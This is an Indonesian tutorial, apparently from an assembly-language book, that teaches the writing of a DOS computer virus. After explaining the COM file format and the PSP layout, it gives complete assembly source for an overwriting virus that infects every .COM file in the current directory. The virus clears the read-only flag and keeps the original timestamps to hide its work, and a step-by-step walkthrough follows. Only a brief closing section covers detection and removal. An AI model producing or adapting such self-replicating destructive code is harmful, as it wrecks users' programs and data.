Membuat Virus dengan Program COM
Anda tentunya sudah biasa menulis program dengan bahasa assembly, yang menghasilkan program dengan ektension com. Pada bagian ini, Penulis tidak akan menjelaskan bagaimana Kita menulis atau membuat program dengan ekstension com, tetapi pada bagian ini akan Kita lihat secara teknis, bagaimana program dengan ekstension com itu bekerja. Untuk mempelajari bahasa assembly, anda bisa membaca buku "Belajar Sendiri Pemrograman Bahasa Assembly" keluaran dari gramedia, karena penulis yang sama maka semua programming disini menggunakan gaya yang tetap sama.
Sebelum penulis menjelaskan jalannya program dengan ektension com bekerja, supaya lebih mudah dimengerti maka akan diberikan satu contoh format dasar penulisan program dengan ektension com :
.Code
Org 100h
Label : Jmp Label2
Dataku Db ”Tempat Data Program Com”
Label2:
Mov AH,09h
Lea
DX,Dataku
Int
21h
Int 20h
End
Label1
Jika Anda perhatikan maka dapat Anda lihat bahwa pada program com yang
normal, selalu terdapat perintah .Org 100h yang merupakan perintah agar pada
saat program ini dijalankan oleh system operasi disediakan 100h (256) byte
kosong. Atau dengan kata lain program com yang Kita buat akan dijalankan pada
offset ke 100h atau 256. Mungkin Anda bertanya, untuk apa Kita menyediakan
100h byte kosong ini ? Ke 100h byte kosong ini Kita disiapkan untuk
ditempati oleh PSP (Program Segment Prefix) yang dibuat oleh system operasi
untuk mengatur jalannya program Kita ini.
Program
Segment Prefix (PSP)
Program Segment Prefix atau yang sering disingkat menjadi PSP, merupakan
peninggalan dari era CP/M. PSP yang terdiri atas 100h atau 256 byte ini
digunakan untuk menyimpan berbagai informasi yang penting untuk program yang
sedang dijalankan. Berikut adalah
strukture dari ke 100h byte PSP dari program :
Offset Sebanyak
Untuk
00h
2 Byte
Alamat pemanggilan interupsi 20h
02h
1 Word
Alamat segment dari memory yang disediakan untuk program
04h
1 Byte
Cadangan
05h
5 Byte
Alamat pemanggilan interupsi 21h
0Ah 2
Word
Vektor Interupsi 23h
0Eh 2
Word
Vektor Interupsi 23h
12h
2 Word
Vektor Interupsi 24h
16h
22 Byte
Cadangan
2Ch 1
Word
Alamat segment environment
2Eh 46
Byte
Cadangan
5Ch 16
Byte
FCB1
6Ch 16
Byte
FCB2
80h
1 Byte
Banyaknya karakter dari baris perintah
81h
127 Byte
Command Line
Pembuatan
Virus 001
Virus yang pertama ini adalah virus yang akan menyerang semua program
dengan ektensi .COM dimana cara kerjanya adalah mencari semua program yang ada
didirektory aktif semua program dengan ektensi .COM dan menularkan virus
kepadanya. Program yang telah ditulari virus tidak akan bisa berjalan secara
normal karena program yang asli telah ditimpa oleh program virus. Virus ini
adalah virus yang tidak residen.

Dari Gambar 1.1. Dapat Anda lihat bahwa virus overwrite akan menimpa
dirinya keawal program yang dutulari virus. Virus ini akan merusakkan program
yang ditulari. Program yang telah ditulari akan dijaga ukuran aslinya, sehingga
kehadiran virus tidak mudah untuk diketahui.
; Catatan :
; Virus Overwrite yang akan merusak
program yang ditumpangi. Penyebaran hanya pada direktory
; aktif saja. Program ini tidak
residen dan merupakan virus yang paling sederhana.
.Model Small
.Code
Org
100h
V_Length
equ
last-start
Start
label near
; Awal Dari Virus
mov
ah,4Eh
;
Cari File Com Pertama
mov
dx,offset filename; ds:dx - > Asciiz"*.com"
Int
21h
Back :
mov
ah,43h
; Untuk
mendapatkan Atribut File
mov
al ,0
;
...... idem atas .......
mov
dx,9Eh
; Awal File Com yang ditemukan
int
21h
;
mov
ah,43h
; Ubah
Atribut File Yang Ditemukan
mov
al,01 ;
...... idem Atas .......
and
cx,11111110b ;
Matikan Read Only
int
21h
;
mov
ax,3D01h
; Buka file untuk write only
mov
dx,9Eh
; Nama File Di
DTA
int
21h
;
mov
bx,ax
; Bx
= File Handle
mov
ah,57h
; Dapatkan
Tanggal File
mov
al,0
; .... Idem Diatas .....
int
21h
;
push cx
; Simpan Jam
push dx
; Simpan Tanggal
mov
dx,100h
; Data Awal
Virus
mov
cx,v_length
; Panjang Virus
mov ah,40h
;
Tulis Virus Ke File
int
21h
;
pop
dx
; Ambil Data tanggal
pop
cx
; Ambil Data Jam
mov
ah,57h
;
Set jam dan
mov
al,01h
;
Tanggal File
int
21h
;
mov
ah,3Eh
;
Tutup File Tersebut
int
21h
; ...........
mov
ah,4Fh
;
Cari File Selanjutnya
int
21h
;
jnc
Back
; Jika Ditemukan, Lompat
mov
ah,9h
;
Tulis Pesan
mov
dx,offset Data ;
Data Ke Layar
int
21h
;
Done:
int
20h
; Terminate Program
Filename
db
"*.com",0
Data
db
" File Pada Direktory ini Telah Terserang Virus Semuanya$"
Last
label near
end
start
Cara Kerja Virus :
.Model Small
.Code
Org
100h
V_Length
equ
last-start
Start
label near
; Awal Dari Virus
Pada awal program, variable V_Length akan menghitung panjang, atau
besarnya program virus komputer ini.
Dengan mengetahui besarnya program virus yang dibuat, maka Kita bisa mengcopy
program virus ini kedalam program yang lain.
mov
ah,4Eh
;
Cari File Com Pertama
mov
dx,offset filename; ds:dx - > Asciiz"*.com"
Int
21h
Pertama-tama, carilah program target yang akan ditulari dengan fungsi
dos, dimana register dx menunjukkan file yang akan dicari. pencarian ini hanya
akan mencari program “*.com” yang ada didirektory aktif saja, artinya
program “*.com” yang terdapat pada direktory lain tidak akan tertular.
Back :
mov
ah,43h
; Untuk
mendapatkan Atribut File
mov
al ,0
;
...... idem atas .......
mov
dx,9Eh
; Awal File Com yang ditemukan
int
21h
;
mov
ah,43h
; Ubah
Atribut File Yang Ditemukan
mov
al,01 ;
...... idem Atas .......
and
cx,11111110b ;
Matikan Read Only
int
21h
Setelah mendapatkan file yang dicari, bacalah atribut dari file tersebut, untuk mencegah Kita terprotek dalam penulisan file yang mempunyai atribut read-only. Selanjutnya dengan logika ”and”, Kita akan mematikan atribut read-only dari file yang ditemukan sehingga Kita bisa melakukan penulisan pada file tersebut.
mov
ax,3D01h
; Buka file untuk write only
mov
dx,9Eh
; Nama File Di
DTA
int
21h
;
mov
bx,ax
; Bx
= File Handle
mov
ah,57h
; Dapatkan
Tanggal File
mov
al,0
; .... Idem Diatas .....
int
21h
;
push
cx
; Simpan Jam
push
dx
; Simpan Tanggal
mov
cx,v_length
; Panjang Virus
mov
ah,40h
;
Tulis Virus Ke File
int
21h
;
pop
dx
; Ambil Data tanggal
pop
cx
; Ambil Data Jam
mov
ah,57h
;
Set jam dan
mov
al,01h
;
Tanggal File
int
21h
;
mov
ah,3Eh
;
Tutup File Tersebut
int
21h
; ...........
Setelah itu, aturlah jam dan tanggal dari jam dan tanggal yang telah Kita dapatkan sebelumnya. Kemudian aturlah supaya jam dan tanggal dari program atau file yang telah ditulari virus tidak berubah. Akhirnya, selesailah tugas penyebaran dan tutuplah file tersebut.
mov
ah,4Fh
;
Cari File Selanjutnya
int
21h
;
jnc
Back
;
Jika Ditemukan, Lompat
Setelah file pertama ditulari, carilah file selanjutnya dengan ekstension yang sama. Jika ditemukan, maka tularilah file tersebut dengan cara yang sama seperti yang telah dijelaskan sebelumnya.
mov
ah,9h
;
Tulis Pesan
mov
dx,offset Data ;
Data Ke Layar
int
21h
;
Done:
int
20h
; Terminate Program
Filename
db
"*.com",0
Data
db
" File Pada Direktory ini Telah Terserang Virus Semuanya$"
Last
label near
end
start
Mencegah Dan membasmi Virus 001
Dari Virus 001 Dapat Anda lihat, bahwa virus ini adalah sebuah virus
perusak. program yang telah ditulari tidak akan dapat diobati lagi. Jadi untuk
membasmi virus ini tidak ada jalan lain kecuali
dengan menghapus program Com
yang telah ditulari virus. Anda bisa mengecek program tersebut ditularilari
virus ini atau tidak dengan mengecek kata ” File Pada Direktory ini Telah
Terserang Virus Semuanya”. Bila pada file Anda terdapat kata ini, maka Anda
bisa menghapusnya. Untuk mencari kata ini Anda bisa menggunakan cara yang paling
mudah, yaitu dengan perintah ”Type” dari dos. Selain itu Anda juga dapat
menggunakan perintah ”Find” dari
dos untuk mencari kata-kata tersebut.